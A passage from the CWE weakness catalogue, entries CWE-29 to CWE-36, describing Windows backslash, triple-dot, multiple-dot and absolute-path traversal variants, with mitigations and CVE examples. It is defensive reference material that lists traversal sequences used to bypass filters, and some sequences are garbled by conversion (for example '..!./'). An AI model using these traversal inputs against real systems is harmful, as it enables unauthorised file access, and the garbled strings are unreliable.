This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..\filename' ('dot dot backslash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-29: Path Traversal: '..\filename'

**Weakness ID** : 29

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-1987</b>	Protection mechanism checks for "../" but doesn't account for Windows-specific "..\" allowing read of arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1987">https://www.cve.org/CVERecord?id=CVE-2002-1987</a>
<b>CVE-2005-2142</b>	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "..\" sequence in an LS command. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2142">https://www.cve.org/CVERecord?id=CVE-2005-2142</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'\..filename' ('leading dot dot backslash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-30: Path Traversal: '\dir\..filename'

**Weakness ID** : 30

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "\" instead of "/". The '\dir\..filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "\..\" can bypass that check.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	23	Relative Path Traversal	44

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Phase: Implementation***Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**Observed Examples**

Reference	Description
<b>CVE-2002-1987</b>	Protection mechanism checks for "/" but doesn't account for Windows-specific "\" allowing read of arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1987">https://www.cve.org/CVERecord?id=CVE-2002-1987</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			7 - 'directory\..\filename
Software Fault Patterns	SFP16		Path Traversal

**CWE-31: Path Traversal: 'dir\..\filename'****Weakness ID** : 31**Structure** : Simple

**Abstraction** : Variant

## Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

## Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	③	23	Relative Path Traversal	44

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially



dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0160</b>	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\" sequence in the URL to port 2002. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0160">https://www.cve.org/CVERecord?id=CVE-2002-0160</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			8 - 'directory\...\filename
Software Fault Patterns	SFP16		Path Traversal

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-32: Path Traversal: '...' (Triple Dot)

**Weakness ID** : 32

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\" and might bypass checks that assume only two dots

are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same

input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2001-0467</b>	"\..." in web server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0467">https://www.cve.org/CVERecord?id=CVE-2001-0467</a>
<b>CVE-2001-0615</b>	"..." or "...." in chat server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0615">https://www.cve.org/CVERecord?id=CVE-2001-0615</a>
<b>CVE-2001-0963</b>	"..." in cd command in FTP server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0963">https://www.cve.org/CVERecord?id=CVE-2001-0963</a>
<b>CVE-2001-1193</b>	"..." in cd command in FTP server <a href="https://www.cve.org/CVERecord?id=CVE-2001-1193">https://www.cve.org/CVERecord?id=CVE-2001-1193</a>
<b>CVE-2001-1131</b>	"..." in cd command in FTP server <a href="https://www.cve.org/CVERecord?id=CVE-2001-1131">https://www.cve.org/CVERecord?id=CVE-2001-1131</a>
<b>CVE-2001-0480</b>	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0480">https://www.cve.org/CVERecord?id=CVE-2001-0480</a>
<b>CVE-2002-0288</b>	read files using "." and Unicode-encoded "/" or "\" characters in the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0288">https://www.cve.org/CVERecord?id=CVE-2002-0288</a>
<b>CVE-2003-0313</b>	Directory listing of web server using "..." <a href="https://www.cve.org/CVERecord?id=CVE-2003-0313">https://www.cve.org/CVERecord?id=CVE-2003-0313</a>
<b>CVE-2005-1658</b>	Triple dot <a href="https://www.cve.org/CVERecord?id=CVE-2005-1658">https://www.cve.org/CVERecord?id=CVE-2005-1658</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Maintenance

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts: it is equivalent to "..\.." on Windows, or it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "/" in a string (collapse of data into unsafe value, CWE-182).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..' (triple dot)
Software Fault Patterns	SFP16		Path Traversal

## CWE-33: Path Traversal: '...' (Multiple Dot)

**Weakness ID** : 33

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

### Extended Description



This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44
CanFollow		182	Collapse of Data into Unsafe Value	437

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that

still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2000-0240</b>	read files via "/...../" in URL <a href="https://www.cve.org/CVERecord?id=CVE-2000-0240">https://www.cve.org/CVERecord?id=CVE-2000-0240</a>
<b>CVE-2000-0773</b>	read files via "...." in web server <a href="https://www.cve.org/CVERecord?id=CVE-2000-0773">https://www.cve.org/CVERecord?id=CVE-2000-0773</a>
<b>CVE-1999-1082</b>	read files via "....." in web server (doubled triple dot?) <a href="https://www.cve.org/CVERecord?id=CVE-1999-1082">https://www.cve.org/CVERecord?id=CVE-1999-1082</a>
<b>CVE-2004-2121</b>	read files via "....." in web server (doubled triple dot?) <a href="https://www.cve.org/CVERecord?id=CVE-2004-2121">https://www.cve.org/CVERecord?id=CVE-2004-2121</a>
<b>CVE-2001-0491</b>	multiple attacks using "..", "...", and "...." in different commands <a href="https://www.cve.org/CVERecord?id=CVE-2001-0491">https://www.cve.org/CVERecord?id=CVE-2001-0491</a>
<b>CVE-2001-0615</b>	"..." or "...." in chat server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0615">https://www.cve.org/CVERecord?id=CVE-2001-0615</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Maintenance

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'....' (multiple dot)
Software Fault Patterns	SFP16		Path Traversal

## CWE-34: Path Traversal: '..\*/'

**Weakness ID** : 34

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '.../' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../" can collapse into the "../" unsafe value (CWE-182). It could also be useful when "." is removed, if the operating system treats "/" and "/" as equivalent.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	23	Relative Path Traversal	44
CanFollow	ⓑ	182	Collapse of Data into Unsafe Value	437

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Detection Methods

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related



fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "..!./" sequences are removed from the "..!./...!/" string in a sequential fashion, two instances of "..!./" would be removed from the original string, but the remaining characters would still form the "..!./" string.

*Effectiveness = High*

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

#### Observed Examples

Reference	Description
<b>CVE-2004-1670</b>	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "..!./" in user supplied parameters. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1670">https://www.cve.org/CVERecord?id=CVE-2004-1670</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

#### Notes

##### Relationship

This could occur due to a cleansing error that removes a single "..!./" from "..!./...!/'"

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..!./' (doubled dot dot slash)
Software Fault Patterns	SFP16		Path Traversal

## CWE-35: Path Traversal: '..!./...!/'

**Weakness ID** : 35

**Structure** : Simple

**Abstraction** : Variant

## Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..!..!/' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

## Extended Description



This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..!..!/' manipulation is useful for bypassing some path traversal protection schemes. If "..!/" is filtered in a sequential fashion, as done by some regular expression engines, then "..!..!/" can collapse into the "..!/" unsafe value (CWE-182). Removing the first "..!" yields "....!/" ; the second removal yields "..!". Depending on the algorithm, the product could be susceptible to CWE-34 but not CWE-35, or vice versa.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44
CanFollow		182	Collapse of Data into Unsafe Value	437

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially

dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2005-2169</b>	chain: ".../.../" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2169">https://www.cve.org/CVERecord?id=CVE-2005-2169</a>
<b>CVE-2005-0202</b>	".../.../" bypasses regexp's that remove "/" and "../" <a href="https://www.cve.org/CVERecord?id=CVE-2005-0202">https://www.cve.org/CVERecord?id=CVE-2005-0202</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'.../.../'
Software Fault Patterns	SFP16		Path Traversal

## CWE-36: Absolute Path Traversal

**Weakness ID** : 36

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.






### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf		37	Path Traversal: '/absolute/pathname/here'	75
ParentOf		38	Path Traversal: '\absolute\pathname\here'	77
ParentOf		39	Path Traversal: 'C:\dirname'	79
ParentOf		40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)	81

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

### Applicable Platforms

